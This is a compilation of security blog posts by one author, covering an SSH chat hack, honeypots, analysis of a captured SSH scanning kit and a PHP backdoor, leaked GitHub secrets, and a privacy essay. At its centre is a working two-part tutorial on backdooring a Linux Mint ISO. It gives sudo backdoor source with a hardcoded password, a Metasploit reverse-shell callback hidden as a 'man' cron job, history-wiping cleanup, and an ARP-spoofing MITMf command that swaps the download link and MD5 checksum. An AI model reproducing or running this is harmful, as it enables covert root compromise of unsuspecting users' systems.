A while back I read the following question on HN (Hacker News):

Ask HN: I have ssh, they have ssh, how can we chat?

I don’t want a dedicated client, I want to go back to the old ways of modem to modem over VT100 links and chatting that way. How can I ssh to another machine, or they to me, and we run a cli app that allows us to chat, something basic like wall I think would work, but I have never been able to get that to work.

I am on Mac OS X, and ideally I could do this without installing other software, using something built in.

Source: https://news.ycombinator.com/item?id=9716459

It’s a cool question, mostly because Unix has some great build-in tools that have proven themselves over the last few decades. So, is it possible to make a chat application with (native) Unix tools?


SScHat – pronounced ‘shat’ (the ‘c’ is silent) – is nothing more than a few bash scripts that use the following Unix tools:

  1. ssh
  2. bash
  3. less
  4. touch
  5. cat
  6. screen*

* I’m aware that ‘screen’ is not native to all Unix distributions. Yet, it’s a very common tool and I’m quite confident most of you already have ‘screen’ installed. But if you are a stickler for the rules: you can run SScHat without ‘screen’. You’ll just have to open up two terminals, one running read.sh and the second one running chat.sh.

So how does it work?

The concept behind SScHat is probably one of the most basic designs for a chat applications you’ll every see. All it does is:

  1. It creates a text file on the server (if it doesn’t exist already).
  2. It runs a less +F over SSH on your conversation file creating your ‘read’ screen.
  3. And runs echo 'message' >> $CONVERSATION_FILE over SSH when sending a message.

To get started all you have to do is:

  1. Allow a (new) user – simply add their public key to ~/.ssh/authorized_keys – to SSH into the server where you want to store the conversation(s).
  2. Adjust the settings in config.sh.
  3. Run ./sshchat on the client.

Enjoy: https://github.com/rthijssen/sshchat

Final notes

As I said before, the main goal here was just to see if it was possible. But, anyone looking for a serious communication tools will (and should) immediately dismiss SScHat. Mostly because of it’s lack of features and missing ‘conversation integrity’. However no one can argue with me about the proven quality of the underlaying SSH library responsible for the end-to-end encryption ;)

Finally, after 9 10 11 months – I though I’d free up some time to write part 2 of this story.

This is not fully without reason though…. Reason #1: I’m quite a lazy person. Reason #2: Good – and easy(ish) to use – MitM attacking tools are hard to come by. But more on that later.

Just a quick recap from part 1.

I wrote about how you can backdoor an OS and package it back up into an ISO that (once installed) will grant you access to a cleanly installed system within minutes of booting.

But an ISO file is rather useless if it’s only available on our own machine. Someone needs to start using it. That is why in this post we’ll look into methods of delivering our backdoored ISO file to our target(s).

Methods of delivery

There are a several ways we can deliver our ISO. The most obvious one is by simply swapping a CD/DVD; or replace a file in a directory. This might sound unlikely, but how many companies have you seen where network shares are easily accessable to all employees? And the same counts for places where the CDs are kept (If people still use these…)

An other method would be a ‘man in the middle’ (MitM) attack.

Man in the Middle attack using ARP spoofing

In this post I’ll be focusing on a MitM attack that used ARP spoofing. Mainly because the amount of tools availible to perform this attack is quite significant. And the amount of documentation about it is also widely available.

As Wikipedia explains: “ARP spoofing is a technique whereby an attacker sends fake (“spoofed”) Address Resolution Protocol” to the target.

ARP is used to convert an IP address to a physical address such as an Ethernet address (also known as a MAC address)

During an ARP spoofing attack the attacker aims to associate his/here own MAC address with the IP of an other host. This allows the attacker to intercept any traffic that is send to this IP.

This attack is limited to Local Area Networks (LANs) but can be very effective when performed on a gateway (I.e router).

The ARP spoofing attack is nothing new and has been around for quite a while. Yet, it can still be extremely effective. Only recently @byt3bl33d3r released a MitM framework called MITMf allowing you to easily perform MitM attacks from your command line.

MITMf + HTTP = ?

Now that we have our attack method and the right tool it’s time to start our attack.

As you might remember – or you just read part 1 – from my previous post that I used Linux Mint. The reason I choose Mint is because their website doesn’t use a HTTPS connection when providing download links to their ISO files.

Since HTTP is used – this means the connection is not encrypted – we have the opportunity to modify traffic without our target being aware this is happening.

In our case we want to replace URLs and a checksum (hash) values on the page. To do this we need a plugin for MITMf that allows us to replace data on the page. Luckily I already wrote this module for you. Simply place it in the plugins directory and you should be fine. Or simply do a pull/clone since it’s been merged into MITMf.

There are two things on the page we want to change:

  1. The download link to the ISO file; We want to change this to a URL so that it points to our backdoored ISO file.
  2. The MD5 checksum; Because we don’t want our victim to know that they are downloading a modified version of their OS right?

We can do this by running the following command:

./mitmf.py --arpspoof --iface eth0 --routerip 192.168.56.x \
  --target 192.168.56.x  --replace --regex-file replace.regex \
  --search-str d323b54364efbae9049c2ce895f20189 \ 
  --replace-str 3d34dc5a67885d26fcba8b36e4cd7e2a

The content of our replace.regex file is (please note the regexes are seprarated by a tab):

http://.+/linuxmint-17-cinnamon-64bit-v2.iso http://damnsecure.org/linuxmint-17-cinnamon-64bit-v2.iso

By putting the ISO on a server outside the LAN you’re providing the ISO via WAN download speeds. If you need to host it internally you probably want to look into throtteling the connection to prevent your target form suspecting something fishy.

Once our victim visits the Mint website the following output is generated (trucated for readability):

[*] MITMf v0.1 started... initializing plugins and modules
[*] ARP Spoof plugin online
[*] Setting up ip_forward and iptables
[*] Loading regexes from file
[*] Replace plugin online

[*] sslstrip v0.9 by Moxie Marlinspike running...
[*] sergio-proxy v0.2.1 online
2014-07-26 09:17:46 192.168.x.x Sending Request: GET www.linuxmint.com
2014-07-26 09:17:47 192.168.x.x [www.linuxmint.com] Replaced '3d8c3c3e82916e2110f965111b0ee944' with 'mymd5'
2014-07-26 09:17:47 192.168.x.x [www.linuxmint.com] Occurances matching 'http://.+/linuxmint-17-cinnamon-64bit-v2.iso' replaced with 'http://damnsecure.org/linuxmint-17-cinnamon-64bit-v2.iso'
2014-07-26 09:17:47 192.168.x.x Sending Request: GET .......
2014-07-26 09:17:47 192.168.x.x Sending Request: GET .......
2014-07-26 09:17:47 192.168.x.x Sending Request: GET .......
2014-07-26 09:17:47 192.168.x.x Sending Request: GET .......
2014-07-26 09:17:47 192.168.x.x Sending Request: GET www.linuxmint.com
2014-07-26 09:17:47 192.168.x.x Sending Request: GET www.linuxmint.com
2014-07-26 09:17:47 192.168.x.x Sending Request: GET www.linuxmint.com
2014-07-26 09:17:47 192.168.x.x Sending Request: GET www.linuxmint.com
2014-07-26 09:17:47 192.168.x.x Sending Request: GET www.linuxmint.com

What just happend was that all the URLs that point to a linuxmint-17-cinnamon-64bit-v2.iso file where rewriten to point to an ISO file on my domain. This will of course result in the user downloading our backdoored ISO file. Additionally the hash provided on the page will match the hash of the ISO the user is downloading.


So how do you defend agains this? Well, the project providing you with the ISO could just spend the $50 to get a SSL cert…..

It is true that you still have mirror servers that are providing you with ISO files that could be backdoored but at least the likelyhood that your checksums are trustworthy is higher.

But, if no HTTPS is availible you (as a user) can always use PGP (Pretty Good Privacy) to verify your ISO.

ISO verification using PGP

Apart from offering you a great way to encrypt your email, PGP surves many purposes. One of them is file verification.

Unfortunately PGP can be quite tricky, and sadly most projects don’t advertise the thorough guide they wrote on their download pages. Instead you have to know about PGP and find the guide (often) yourself.

A good example of one of these PGP guides can be found here.

I was unable to find a similar guide (or even the PGP keys) for Linux Mint. Please let me know if they have one so I can update this post.


One of the most important factors here is that (and I’m pretty sure about this) most people don’t verify their ISO files. It is complicated and for most users probably something they don’t understand.

I still don’t fully understand why some projects don’t run their site via HTTPS. There are probably many reason on why not. But my main concern with the distribution of ISO files over HTTP are:

  1. The PGP verification process is too complicated – and I’m pretty sure even some IT professionals won’t go through the trouble.
  2. The provided checksums on the download pages are very misleading and give you a false sense of security when delivered over HTTP.
  3. The projects assume the users are going to verify their ISO file.

When discussing this on IRC (sorry forgot your handle) the only reason I could understand is that it is possible HTTPS is avoided to minimize the attack surface on the server hosting the ISOs. If you have more insight into other possible reasons please leave a comment or contact me directly via something from the list on the left

It is probably very easy to say the user is to blame here – “The user should know better”. But I believe security should be invisible unless user interaction is required. And if user interaction is required security aspects of your project should be accessable and understandable for all users of all technical levels. I don’t think that is the case with PGP verification.

As most web devs the things that frustrate me are the differences between all the major browsers, and people running outdated browsers. The first one is rather difficult and time consuming to take up. But the second one is not.

So I had a look around.

There are several services that can tell you if your browser is up-to-date. There are several services that have a “widget” that you can use on your own website to inform your visitors they are running an outdated browser. And there are several services that will give you some documentation on how to install the available updates.

But I was unable to find a site that had all of these things.

That’s why I created: BrowserStatus.org

The concept behind BrowserStatus.org is very easy.

BrowserStatus.org will tell its visitors if their update status of their browser. Visitors can get this information via the home page or via the “notification bar”.

The notification bar is a very simple JavaScript application that you can add to your own website. The notification bar will only show up for people who are running an outdated browser. For more information about the notification bar check out https://browserstatus.org/webdevs

If BrowserStatus.org detects an outdated browser it will link the visitor to the relevant ‘Update Instructions’.

Getting all the browsers in the world right will take a bit of time but at the moment I’m covering all the major browsers both on desktop and on mobile. I’m also collecting user-agents that are not being detected and I’ll make sure they are added to the list asap (if relevant of course). But feel free to contact me if you want me to add a specific device or if you spot any major detection errors. You can find my contact details here.

Hope you find this useful.

Cheers, Ruben.

No, this is not some sort of relationship advice post loses 50% of the readers.

A while ago I did a Github pull of around 500 WordPress plugins to see what I could find. There is heaps in there, but it takes quite some time to work through it all. One of the first things I noticed (again) – other people have been noticing this too – is that people really don’t look at the files they are committing. I felt the need to quickly give some examples of stuff that people commit and remind you why you should be careful with running ‘svn add ’ or ‘git add ’.

Sublime ftp details

I was looking at a plugin and found a file called ‘sftp-config.json’. Apparently this is a file used by Sublime. For those still wondering, the filename pretty much says what this file contains.

Still curious? Have a look at this:


Yep, thats right. Passwords (and/or usernames) everywhere! This information is very valuable to an attacker. Even just the username can narrow down an attack significantly.

Private keys

I’ll just leave this link here:


Private keys committed to a public repository?

.bash_history files and more

An other one which I think is quite disturbing is the following:


As you can see the query searches for .bash_history files with the command “mysql” in it and the “-p ” parameter (used for passwords).

Again, passwords but also other quite sensitive system information everywhere!

Also (if you have the time) do read the README files in those repositories. Some of these repos are used to deploy other systems. How useful can this be?

Wrapping up

It’s important to note that not all these examples live on Github. There are countless examples on the web, not just limited to repositories. People put very sensitive information in public directories, on webserver and publicly accessible FTP servers that allow anonymous FTP access.

I’m not saying this is new. To most of you this is old news. Hell, most of you probably use these searches during pentests. My point is, this is a well known problem but it is still happening.

The only think I can say is, please check your (and your friends, colleagues and clients) public (and private) repositories (frequently). This is a simple and easy mistake to make. Luckily it’s a mistake that is easy to point out, easy to explain and easy to fix.


Most of the blog posts I read these days describe very clever, highly technical and quick attack scenarios. New exploit methods that will get you access to a network within minutes. This is not one of those blog posts. Today I’ll make a start with describing a method that will grant you access to more and more systems over a period of months or maybe even years with minimal effort. How? Simple, we make sure we own the OS before its even installed.

In this first – of two – post I’ll be describing how you can modify an operating systems ISO in such a way that it’s calling back ever once in a while with a ‘root’ shell as a present. In the second post I’ll go into a little more detail on how you could deliver this ISO to your victim(s).

This attack is mainly created because I wanted to see if it was possible. Although replacing an ISO is very effective, systems don’t get (re)installed that often. Also, most Linux distributions roll out new versions quite regularly. An attacker would have to maintain ISOs and replace them quite often for this attack to remain effective. Still, I think it’s a thread worth talking about since ISOs are still burned onto disk or stored on company shares that seem to live forever.

Since this attack doesn’t require any exploit code and evades (at the moment of writing) rootkit detection (chkrootkit, rkhunter), anti-virus detection and won’t trigger any integrity checkers (more on this later) I think this attack can be quite nasty if not detected early on.

Lets get started.

This is what I’ll be focusing on today: 1. Getting the ISO we want to backdoor 2. Add a simple backdoor to the ‘sudo’ command 3. Building a reverse tcp backdoor using msfpayload from the Metasploit framework. 4. Rebuild the ISO with our backdoors. 5. Sit back, relax and wait for a (re)install

During this post I worked with the following ISO: “linuxmint-15-cinnamon-dvd-32bit”. Available at: http://www.linuxmint.com/edition.php?id=131

If you currently aren’t running Mint Linux I suggest you install a VM with the ISO you downloaded earlier on. Make sure you give the VM plenty of space (15 GB). Please do remember to only install the ISO and not perform any updates. Just to make sure we aren’t running into any library issues while compiling one of our backdoors.

Unpacking the ISO

For us to make any type of adjustments to the ISO file we need to unpack it. For Mint Linux the tool ‘mintconstructor’ is made available. You can get this tool from the Mint Linux repository. If ‘mintconstructor’ is not available in your installation just add the following line to your repository list:

deb-src http://packages.linuxmint.com olivia main upstream import  #id:linuxmint_main

Once you fired up ‘mintconstructor’ (as root) you’ll see a popup window. Select ‘new project’, set a directory you can work in and the ISO you want to unpack.

This will take a while so we’ll leave this for now and continue preparing our environment to build our backdoors.

MSF reverse TCP backdoor

The first backdoor is a backdoor generated using Metasploit. It will try to connect back to a system we own carrying a ‘root’ shell (in a default Mint Linux installation). Metasploit has a great command that lets us generate a binary of a certain payload called ‘msfpayload’.

./msfpayload linux/x86/shell_reverse_tcp2 LHOST=your-ip LPORT=443 X > man

This will generate a binary called ‘man’. I’ll explain a bit more about the name ‘man’ later on.

It is worth mentioning that the payload ‘shell_reverse_tcp2’ is very small and is (at the moment of writing this post) not detected by any of the 48 virus scanners on VirusTotal[7]. Also rkhunter and chkrootkit are not detecting this binary as malicious.

I’ll install this backdoor a little later on but for now lets prepare an other backdoor.

Simple backdoor in ‘sudo’

The second backdoor I want to add to my ISO is a backup for when my first ends up with lower privileges than expected. This is unlikely so the real reason is probably that I just wanted to backdoor ‘sudo’…..

The reason I chose ‘sudo’ is because the ‘sudo’ command already has the right owner and flags set to serve as a perfect candidate. I’ll explain this a bit better later on.

Debian developed an excellent packaging and distribution system that can help us with obtaining the source code for the ‘sudo’ command including all the patches it uses.

Mint Linux doesn’t add the source repositories by default to its repository lists. To obtain the source of (almost) any package in the Mint Linux distro add the following repositories to ‘/etc/apt/sources.list.d/official-package-repositories.list’ deb-src http://archive.ubuntu.com/ubuntu raring main restricted universe multiverse deb-src http://archive.ubuntu.com/ubuntu raring-updates main restricted universe multiverse deb-src http://security.ubuntu.com/ubuntu/ raring-security main restricted universe multiverse deb-src http://archive.canonical.com/ubuntu/ raring partner

Before we get the ‘sudo’ source, modify it and rebuild it, we need to make sure we have all the dependencies installed.

sudo apt-get build-dep sudo

Next, get the ‘sudo’ source:

apt-get source sudo

I created a extremely simple backdoor for the ‘sudo’ command:

if (argc == 2) // Only check if we have 2 arguments (sudo )
    char *password = "123456"; // Our own password
    if(strcmp(argv[1], password) == 0) // Simple string compare
        setuid(0); // Elevate to uid 0 (root)
        system("/bin/bash"); // Launch a bash shell
                return 0; // Finish gracefully when finished

I’ve added this code at the start of the ‘main’ function in ‘sudo.c’. The comments in my code should give you a decent idea on what every line does.

The reason I chose ‘sudo’ is because the function call ‘setuid’ is only allowed when the ‘setuid’ flag on a file is set. When this flag is set, the program is allowed to run an “executable with the permissions of the executables owner or group respectively and to change behaviour in directories” [6]. ‘sudo’ is by default owned by root:root and the setuid flag is set. This means that nothing will look out of the ordinary since we don’t need to change anything. The ‘sudo’ command already has the privileges we need, and will appear the same as it always does. Win!

To compile the new code into a .deb file simply run the following command in the ‘sudo’ directory (not ‘src’ directory!).

dpkg-buildpackage -rfakeroot -uc -b

Excellent, we now have two backdoors. Lets install them into our OS.

Installing the backdoors

At the start of this post we unpacked our ISO using ‘mintconstructor’. If things went right you should be able to find your unpacked ISO in the directory you defined earlier on.

Copy the .deb file (sudo_1.8.6p3-0ubuntu3_i386.deb in my case) and the ‘man’ binary we created earlier into the tmp directory of your unpacked ISO.

‘mintconstructor’ should now show a big button saying: “Open a chroot terminal”. Click the big button to open your chroot terminal. This shell will give you full control over the unpacked ISO.

Next you should be able to install the .deb file:

dpkg -i sudo_1.8.6p3-0ubuntu3_i386.deb

That should all run fine. The ‘sudo’ backdoor is now installed. Lets continue with the ‘man’ callback binary.

Create a directory in /var/lib/ called ‘man’ (mkdir /var/lib/man) and move the ‘man’ binary into it. Next, create a crontab in one of your /etc/crontab.* directories. The only thing the crontab will do is run the binary every hour/day/month/whatever. If the connection fails it fails (this will happen). All we need to make sure of is that it runs, and is not leaving any logs. The crontab I wrote looks like this:

# Script to update all the man pages
# Written by {full-name-debian-dev} <{email-debian-dev}> for the Debian project.
cd "/var/lib/man/"
./man > /dev/null 2>&1

Once you’ve installed all these components it’s time to clean up the environment before repacking it.

aptitude purge ~c
aptitude unmarkauto ~M
apt-get clean; rm -rf /var/cache/debconf/*.dat-old; rm -rf /var/lib/aptitude/*.old; rm -rf /var/lib/dpkg/*-old; rm -rf /var/cache/apt/*.bin; updatedb
history -c
rm /root/.bash_history
rm /root/.nano_history
history –c

After running this exit your chroot terminal and follow the ‘mintconstructor’ instructions to repack the ISO.

Finally you need to run a server for the reverse tcp binary to be able to connect back to you:

./msfcli multi/handler payload=linux/x86/shell_reverse_tcp2 LHOST=your-ip LPORT=443 E

Use the ISO you just created to install a new system. This should call back within the timeframe you defined for the cronjob.


Finishing up

We now have an ISO file containing a backdoored Mint Linux distribution. No virus scanner is detecting the backdoors and no integrity checker will notice anything since our “know” database (a.k.a baseline) is a freshly installed system. I think this is quite nasty.

One of the major challenges here is delivering the ISO. Although I do think I might have a decent solution for this. More on this in part 2 (hopefully). I’ll also go into some detail on how I think you could detect this type of attack. For now, enough words.


Ruben (@rubenthijssen).

PS: Sorry for the typo’s

References: 1. http://jungels.net/articles/diff-patch-ten-minutes.html 2. http://blog.aplikacja.info/2011/11/building-packages-from-sources-in-debianubuntu/ 3. http://community.linuxmint.com/tutorial/view/918 4. http://askubuntu.com/a/28373 5. http://jungels.net/articles/diff-patch-ten-minutes.html 6. https://en.wikipedia.org/wiki/Setuid 7. https://www.virustotal.com/en/file/ea047655aa6a280ebd2cdde5d2fe62f96e114291600b39d3d37407468a0630f9/analysis/ ­­­­­

I think honeypots are a very elegant way of detecting attackers by either offering them a fake vulnerable service, or by triggering the attackers interest.

After looking at Kippo logs and doing my OSCP I learned that in almost every attack the attacker will at least read a file. An attacker will always look around for files they can either use for further network exploitation or files that are useful in other ways. That’s why I thought it would be fun to see if there is a quick way to figure out if a file has been access within a certain time frame. Some of you might have already seen the solution I came up with earlier today on Twitter – https://twitter.com/rubenthijssen/status/385024335838076928. I thought I do a quite writeup on what this one-liner actually does, and how you could use it.

A simple honeypot

As far as I know, the world smallest honeypot:

while sleep .5;do if [[ `echo \`date +%s\`-\`stat -c %X secretFile\`|bc` -le 5 ]];then echo 'Alert';fi;done;

Lets format that a bit shall we? (I added comments next/above every line explaining what is happening)

# Infinite loop. The result of the command 'sleep .5' is used. 
# This will alway's be true, unless sleep is broken...
while sleep .5;
  # Get 'now' in Epoch, subtract last 'access time' (Epoch) of our honeyfile
  # Continue into IF if the difference is less or equal to 5 
  if [[ `echo \`date +%s\` - \`stat -c %X secretFile\` | bc` -le 5 ]]; 
    # What to do if our honeyfile has been touched in the last 5 seconds?
    echo 'Alert';

Before I continue I think it’s important that you are aware of a small detail on how this script works.

Please don’t change the ‘access time’….

On a Linux file system (unless the noatime mount flag is specified) for every file the ‘access time’ is stored. This value indicates when the file was last ‘accessed’ (doh). But for (I think) mainly performance reasons this value is not updated all the time. The best piece of documentation I could find on how the ‘access time’ is processed was here: http://man7.org/linux/man-pages/man2/mount.2.html

On this page the ‘MS_RELATIME’ argument is the most relevant: When a file on this filesystem is accessed, update the file's last access time (atime) only if the current value of atime is less than or equal to the file's last modification time (mtime) or last status change time (ctime). This option is useful for programs, such as mutt(1), that need to know when a file has been read since it was last modified. Since Linux 2.6.30, the kernel defaults to the behavior provided by this flag (unless MS_NOATIME was specified), and the MS_STRICTATIME flag is required to obtain traditional semantics. In addition, since Linux 2.6.30, the file's last access time is always updated if it is more than 1 day old.

It might look like this value ‘access time’ is updated at quite “unpredictable” moments but I still believe you should be able to rely on it.

The reason I’m pointing this out is that I think it is important to know that the ‘access time’ value will not always be updated. You won’t be able to use the ‘access time’ data to maintain a log on when a file was read. You are able to monitor if the file was access by anyone on the condition that the file wasn’t accessed in the 24 hours before. This should be quite reliable since this file shouldn’t be touched by anyone anyway.

Additions and Adjustments

If you don’t feel comfortable using ‘atime’ you can still use the same command but with a different and more reliable timestamp value. For example, you can monitor mtime (modification time) of the files /etc/passwd or /etc/shadow. If one of these files changes you know user(s) have been added, deleted or modified. You can do the same with other system critical files.

  • Comparing an MD5 hash of these files to a known value taken before is in this case probably recommended since atime and mtime are values that can be controlled by the owner of the file and ‘root’.

To improve the quality of the script you should add your own “alarm bells” in the ‘IF’ statement. You can add ‘mail’ commands or other actions you want to take when the file was read/modified.

  • Do remember that it is all bash, figuring out what is happening is quite easy for an attacker. An easy way to prevent this is to move these commands into a binary. I think it is less likely an attacker will figure out what a binary is doing before looking at “juicy” files.

This is a very simple detection technique and a decent attacker will figure this out quite quickly. None the less, defenders need to be able to catch the kiddies every once in a while to right? Anyway, thats is for today. Sorry for the sort and messy post today. I’m working on a few other posts but they are all a bit more work than this one. Also, brother needs to work ;)

Cheers, Ruben (@rubenthijssen).

A few months back I ran I Kippo honeypot for a while. Kippo is a SSH honeypot. You can find your own copy at https://code.google.com/p/kippo/ Most of the time I didn’t see anything apart from port scans and large amounts of failed login attempts. But sometimes I woke up, logged into my server and saw I caught some goodies. This is a post that analyses one of those goodies.

Before we start, this is a common ssh scanning kit. This collection has been analysed by a fair bunch of people. Yet, I couldn’t really find the detailed description I was looking for so I though I’d make one. The tools themselves are not really impressive. In this case the attacker didn’t even bother hiding his/here activities. The kit launches verbose tools that you would defiantly notice if you where paying attention to your system.

Lets start with the kippo log our intruder created.

damnsecure:~# perl
bash: perl: command not found
damnsecure:~# http://<redacted>.com/gosh.tgz
bash: http://<redacted>.com/gosh.tgz: command not found
damnsecure:~# wget http://<redacted>.com/gosh.tgz
--2013-02-05 00:49:15--  http://<redacted>.com/gosh.tgz
Connecting to <redacted>.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 680051 (664K) [application/x-tar]
Saving to: `gosh.tgz

100%[======================================>] 680,051      219K/s  eta 0s  

2013-02-05 00:49:18 (219 KB/s) - `gosh.tgz' saved [680051/680051]
damnsecure:~# tar xfzv gosh.tgz
damnsecure:~# cd gosh
damnsecure:~/gosh# chmode +x *(
bash: chmode: command not found
damnsecure:~/gosh# chmode +x *
bash: chmode: command not found
damnsecure:~/gosh# chmod +x *
damnsecure:~/gosh# ./scam

Nothing really interesting. In short what happend:

  1. User found successful SSH login on my honeypot.

  2. Downloads toolkit

  3. Crash and burns since its a simulated environment. The attacker realises this and leaves.

Now this is a very small collection of file (12 files). This is a short description of what every file does:

gosh/gen-pass.sh: Creates a <username> <password> file. Where username is the first argument and the second is a password dictionary file. I don’t really understand why this file is in this kit. Mainly because its something I would do on my own system and then distribute the dictionaries. File is probably here because this is quite a standard ssh scanning kit and it is distributed with this bash file.

gosh/common: Dictionary with 3343 passwords. Think this file is shipped by default with this kit by its creator.

gosh/scam: This file is launched by the attacker (see kippo log).

It kicks off by collecting basic system info: ifconfig, uptime, uname, /etc/issue, /etc/passwd, id, df -h and emails it to the attacker.

Then it start an other bash file called ‘a’ with one argument ‘$1.x’ where $1 is the first byte value for the IP address and the second one is simply a counter. So in total ‘a’ is launched 255 times.

gosh/a: This script is the script that takes care of a large set of IP’s.

  1. Launches pscan2. With arguments $1.x <b class> $2 portnr <22>. This creates a list with ip’s in $1.pscan.22. pscan2 finishes completely.

  2. After this $1.pscan.22 is sorted and a unique list of the output in saved into mfu.txt

  3. ssh-scan gets launched with parameter 100 – I don’t really know what the 100 here means. My binary reversing skills are not very good – the results of ssh-scan are added to vuln.txt. This gets emailed to the attacker.

  4. $1.pscan.22 and mfu.txt get removed.

After this the scam script launches the same script but in $1.x+1 b-class.

gosh/pscan2: As far as a can see and find on the interwebs pscan2 is a basic port scanner. The source code for quite a similar piece of software can be found here: http://calebcoffie.com/honeypot-treasure-6-ssh-bruteforcer-in-c/. This file is used by one of the bash script (‘a’) to launch a scanner that checks for a running service on port 22.

gosh/mfu.txt: Pretty sure this file contains a list with IP’s with an active SSH service running on port 22.

gosh/secure: File removes execution rights (chmod -x /usr/bin/mail) from /usr/bin/mail and then moves it to /usr/bin/s8. It seems like this file isn’t used in any of the automated scripts. What I don’t understand (maybe one of you can answer this for me). Why this script is added to this kit. Mainly because the mail binary is used in every other script. So making the mail binary unavailable would break basically every script in this tgz file….

gosh/go.sh: An other launch script. Launches ‘ss’ and ssh-scan. Not really sure if this is used.

  1. Launches ‘ss’ with arguments 22 -a $1 -i eth0 -s 7. Port 22, b-class, interface an speed (1-10 (slow->fastest)). The output is saved in ‘bios.txt’

  2. Creates a unique list of IP’s and saves it into mfu.txt

  3. Launches ssh-scan

  4. Removes bios.txt

gosh/ssh-scan: I this is the ssh brute force login scanner. Successful logins are saved into vuln.txt I think.

gosh/ss: Think this file simply scans a port to grab the banner. This way the attacker can filter out vulnerable SSH installations. Is used in ‘a’ as you can see above.

gosh/pass_file: This is a default list with logins. Contains 3777 unique usernames. 6098 unique passwords

gosh/vuln.txt: List with vulnerable hosts generated by ssh-scan

Now this is the first time I did any type of analysis on a piece of malicious software. So if I got anything wrong, please do leave a message.

In case you where wondering if I looked into the attacker. I did find a gaming site where it seemed like his/here email was used to register. Also, I noticed the IP or origin was in Romania. This gave me the impression that no proxy was used. I decided to unpublished the attackers details for obvious reasons.

I hope you enjoyed this quick write up.

Signature: MD5 (a) = 8883ef6b3f4016c3e0cea2fc2546268a

MD5 (common) = d32a54466abc11b2daae68f60d5d0967

MD5 (gen-pass.sh) = 615c08bb1acdf2f21490450991766187

MD5 (go.sh) = 212f1bc330064d2360fb2d662c7d6124

MD5 (mfu.txt) = d41d8cd98f00b204e9800998ecf8427e

MD5 (pass_file) = 63e9d967580829bd7e5b51487540d4fe

MD5 (pscan2) = acba0143d0cbcf8092b8b44d914d7983

MD5 (scam) = 5b10eaf79949cd46d002cb9d73b5eb1a

MD5 (secure) = 39acbfc1e983e45308cdab2d3ec4bf34

MD5 (ss) = b51a52c9c82bb4401659b4c17c60f89f

MD5 (ssh-scan) = a213ebd69fbc11d612d0374b373f65d8

MD5 (vuln.txt) = d41d8cd98f00b204e9800998ecf8427e

Why are projects like Prism a problem? I’ve been asking myself this question over and over for the last few weeks. I had trouble finding out why the collection of all our communication would be problematic. The argument “I have nothing to hide” seemed fair. Until tonight, when I started to realize that this is not just a US project but a project run by the majority of western countries (US, Australia, The Netherlands, France and the UK). I figured I should write my thoughts down for those of you who are asking yourself the same question.

Mass surveillance is a problem. Maybe not today, maybe not tomorrow but it is very likely going to be a problem sometime. Why? Major reforms, revolutions and important milestones in history almost always came from great leaders that started with rejecting the current system (breaking the law). Nelson Mandela fighting the white superiority in Africa, women right to vote, legalising gay marriage and overthrowing a corrupt and unfair government in Egypt. When all communication is collected, saved and analysed how can we possibly take action against our leaders when necessary? Maybe this democratic power is not a necessity today, but what about the generations after us? Are we sure our government will always be reliable and trustworthy? The history books show they won’t be. So why are we having this trust now?

For those making the “These projects are not illegal, all of these projects are running within the boundaries of our current legal system” argument. Just because something is legal, that doesn’t mean it is right, or ethical (if I’m allowed to use that word). I believe the law is used to describe what is right or wrong. Gray areas can always be found, these gray areas should be explored, not exploited.

Before I wrap up, just to be clear. I am in no circumstances anti-government and/or agains the takedown of terrorist groups. I have no doubt intelligence agencies do a tremendous job in protecting us from major threats on a daily basis. But I do believe that in this case multiple governments have crossed a line, a line that should not have been crossed. Important questions have not been asked or have been ignored. Question that should have been asked and questions that should not have been ignored. The first question should away’s be: “Is this decision/project/law now and in the future always in the best interest of our population”. I don’t think we can answer this question with a ‘Yes’ when talking about this mass surveillance project.


The last few day’s I started scraping Pastebin. Today my system (raspberry pi) was having a rough time processing a file. Usually this happens with larger files so I though I’d check it out. This is what I found: http://pastebin.com/UsemAin9

Since I had some time I though I’d have a quite look. Here is my analysis.

As you can see the text I found ends with “==”. This usually indicates it’s base64 encoded. So, I copied the text into a file and removed the first part of the string – “data:image/jpeg;base64” (not valid base64). The reason this is tagged at the front is because I think it allows you to save (and my guess, upload) the file as an image. This is to evade (php) script upload protection.

I then decoded the whole file using “base64 —decode ” (command can be found in your average unix distro and cygwin). The output was: http://slexy.org/view/s2SHydo0JT (just click view raw paste for a better formatted view)

Here is where you can see that we are dealing with some sort of PHP script because of the opening PHP tag “<?php”. If you look at this in an editor – any PHP IDE or VIM will do – with a color scheme you can clearly see that there is still one big chunk of data that is encoded. So I selecting the data from “$_X=‘” up until “+’;” (almost at the end of the file). After this you’ll see there is an other PHP instruction called ‘eval’. Lets leave that for now and decode this first part first.

Note: This time the string did not end with “==”. But lets use the base64 decode function first (a bit of a hunch but since this method worked before it is alway’s worth a try).

Again using the same command we end up with: http://pastebin.com/fKGeXMwn

Awesome, we have something that looks like source code. But not fully there yet. In my previous file I grabbed the last part of the file that I haven’t decoded yet:


I decoded the string given as an argument – from “JF9” until “==”. Again the “==” makes me believe that this is most likely base64.



Now with some formating:


This looks like the second stage of the decoding process. I already did the first base64_decode in my previous step but this showed strange PHP code. Second, you can see a strtr function call – strtr: translate characters or replace substrings. Before you run this decoding code you should remove the ‘eval’ function call, otherwise you’re executing the decoded text, and since we don’t really know whats in here (yet) that probably isn’t a very good idea.

So we create a decode.php file called “decode.php” and add the following lines:

This file will print out the code we where looking for aka a PHP backdoor - <a href="http://pastebin.com/uXvdjbeF">http://pastebin.com/uXvdjbeF</a>. Simple, but effective.

If you look quickly at the code you'll find a function that's called 'ZoneH'. This is a site where hackers report their victories. It looks like this backdoor can notify ZoneH from within. Based on the complexity of the encoding (not really) and this function we can probably assume that this backdoor is not used for very sophisticated attacks or custom attacks.

MD5 of the file: 252b69f8ef890fe6e720143ef7e2912d


Just a quick update. Today I thought about a way of intercepting messages that are being send – v0.1 only detects and display’s post messages that are received. The technique is used quite often and is not new but still very useful. In javascript you’re allowed to override native browser function. So this means that I can read and write the browser function ‘postMessage’. All I need to do is override the current browser function with my own and call the old browser function at the end of mine. If this makes little sense here is the code:

var postMessageORIG = window.postMessage;
    window.postMessage = function(message, destination){
    console.log("Sending: ", message, destination);
    postMessageORIG(message, destination);

Thats it, new code is on GitHub.

Cheers, Ruben.